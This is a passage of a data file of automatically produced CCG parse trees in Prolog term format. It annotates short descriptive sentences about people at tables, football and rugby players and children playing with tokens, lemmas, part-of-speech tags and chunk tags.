t(n, 'women', 'woman', 'NNS', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'darkened', 'darkened', 'JJ', 'I-NP', 'O'),
t(n, 'room', 'room', 'NN', 'I-NP', 'O'))))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'table', 'table', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'candles', 'candle', 'NNS', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(746,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'dim', 'dim', 'NN', 'I-NP', 'O'),
t(n, 'people', 'people', 'NNS', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'room', 'room', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(747,
rp(s:dcl,
ba(s:dcl,
ba(np,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'shirt', 'shirt', 'NN', 'I-NP', 'O'))))),
conj(np\np, np,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
ba(np,
lx(np, n,
t(n, 'sunglasses', 'sunglass', 'NNS', 'I-NP', 'O')),
conj(np\np, np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'shirt', 'shirt', 'NN', 'I-NP', 'O'))),
conj(np\np, np,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
lx(np, n,
t(n, 'sunglasses', 'sunglass', 'NNS', 'I-NP', 'O')))))))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'table', 'table', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
fa(n,
t(n/n, 'four', 'four', 'CD', 'I-NP', 'O'),
t(n, 'bottles', 'bottle', 'NNS', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'beer', 'beer', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(748,
rp(s:dcl,
ba(s:dcl,
ba(np,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'shirt', 'shirt', 'NN', 'I-NP', 'O'))))),
conj(np\np, np,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
ba(np,
lx(np, n,
t(n, 'sunglasses', 'sunglass', 'NNS', 'I-NP', 'O')),
conj(np\np, np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'shirt', 'shirt', 'NN', 'I-NP', 'O'))),
conj(np\np, np,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
lx(np, n,
t(n, 'sunglasses', 'sunglass', 'NNS', 'I-NP', 'O')))))))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'table', 'table', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'four', 'four', 'CD', 'I-NP', 'O'),
fa(n,
t(n/n, 'beer', 'beer', 'NN', 'I-NP', 'O'),
t(n, 'bottles', 'bottle', 'NNS', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(749,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'red', 'red', 'JJ', 'I-NP', 'O'),
t(n, 'jacket', 'jacket', 'NN', 'I-NP', 'O'))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
ba(s:ng\np,
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'holding', 'hold', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'glass', 'glass', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'front', 'front', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')))))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 't-shirt', 't-shirt', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(750,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'red', 'red', 'JJ', 'I-NP', 'O'),
t(n, 'jacket', 'jacket', 'NN', 'I-NP', 'O')))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'holding', 'hold', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'beer', 'beer', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(751,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'child', 'child', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
fa((s:ng\np)/(s:ng\np),
t(((s:ng\np)/(s:ng\np))/np, 'watching', 'watch', 'VBG', 'I-VP', 'O'),
t(np, 'someone', 'someone', 'DT', 'I-NP', 'O')),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-NP', 'O'),
lx(np, n,
t(n, 'outdoors', 'outdoors', 'NNS', 'I-NP', 'O'))))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'spouting', 'spout', 'VBG', 'I-VP', 'O'),
ba(np,
lx(np, n,
t(n, 'water', 'water', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'over', 'over', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'rest', 'rest', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'his', 'his', 'PRP$', 'I-NP', 'O'),
t(n, 'family', 'family', 'NN', 'I-NP', 'O'))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(752,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'holding', 'hold', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'hose', 'hose', 'NN', 'I-NP', 'O')),
ba(np\np,
fa(np\np,
t((np\np)/pp, 'next', 'next', 'IN', 'I-ADVP', 'O'),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')))),
conj((np\np)\(np\np), np\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
lx(np\np, s:dcl/np,
fc(s:dcl/np,
tr(s:dcl/(s:dcl\np),
fa(np:nb,
t(np:nb/n, 'another', 'another', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O'))),
fc((s:dcl\np)/np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:ng\np)/np, 'watching', 'watch', 'VBG', 'I-VP', 'O')))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(753,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'football', 'football', 'NN', 'I-NP', 'O'),
t(n, 'player', 'player', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'purple', 'purple', 'JJ', 'I-NP', 'O'),
t(n, 'jersey', 'jersey', 'NN', 'I-NP', 'O'))),
lx(np\np, s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'for', 'for', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'touchdown', 'touchdown', 'NN', 'I-NP', 'O')))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(754,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'football', 'football', 'NN', 'I-NP', 'O'),
t(n, 'player', 'player', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'past', 'past', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'official', 'official', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'carrying', 'carry', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'football', 'football', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(755,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'football', 'football', 'NN', 'I-NP', 'O'),
t(n, 'player', 'player', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'carrying', 'carry', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'official', 'official', 'JJ', 'I-NP', 'O'),
t(n, 'past', 'past', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/n, 'a', 'a', 'DT', 'B-NP', 'O'),
fa(n,
t(n/n, 'rolling', 'rolling', 'NN', 'I-NP', 'O'),
t(n, 'football', 'football', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(756,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'football', 'football', 'NN', 'I-NP', 'O'),
t(n, 'player', 'player', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'purple', 'purple', 'JJ', 'I-NP', 'O'),
t(n, 'jersey', 'jersey', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'for', 'for', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'touchdown', 'touchdown', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(757,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
t(n, 'leotard', 'leotard', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'air', 'air', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(758,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'leotard', 'leotard', 'NN', 'I-NP', 'O')),
lx(np\np, s:pss\np,
ba(s:pss\np,
t(s:pss\np, 'colored', 'color', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'blue', 'blue', 'NN', 'I-NP', 'O')))))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'air', 'air', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(759,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'blue', 'blue', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'air', 'air', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(760,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'blue', 'blue', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'air', 'air', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(761,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'bunch', 'bunch', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'men', 'man', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'rugby', 'rugby', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'field', 'field', 'NN', 'I-NP', 'O')),
lx(np\np, s:adj\np,
fa(s:adj\np,
t((s:adj\np)/pp, 'full', 'full', 'JJ', 'I-ADJP', 'O'),
fa(pp,
t(pp/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'mud', 'mud', 'NN', 'I-NP', 'O')))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(762,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'Some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'men', 'man', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'rugby', 'rugby', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(763,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'looking', 'look', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'at', 'at', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bike', 'bike', 'NN', 'I-NP', 'O')),
lx(np\np, s:pss\np,
fa(s:pss\np,
t((s:pss\np)/pp, 'designed', 'design', 'VBN', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'for', 'for', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'motocross', 'motocross', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'that', 'that', 'WDT', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'lying', 'lie', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'its', 'its', 'PRP$', 'I-NP', 'O'),
t(n, 'side', 'side', 'NN', 'I-NP', 'O'))))))))))))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
t(np, 'another', 'another', 'DT', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'racing', 'race', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'by', 'by', 'IN', 'I-PP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(764,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'bike', 'bike', 'NN', 'I-NP', 'O'),
t(n, 'rider', 'rider', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'looking', 'look', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'at', 'at', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'accident', 'accident', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'another', 'another', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'bike', 'bike', 'NN', 'I-NP', 'O'),
t(n, 'rider', 'rider', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(765,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'little', 'little', 'JJ', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O'))),
lx(np\np, s:ng\np,
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'green', 'green', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'soccer', 'soccer', 'NN', 'I-NP', 'O'),
t(n, 'strip', 'strip', 'NN', 'I-NP', 'O'))))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
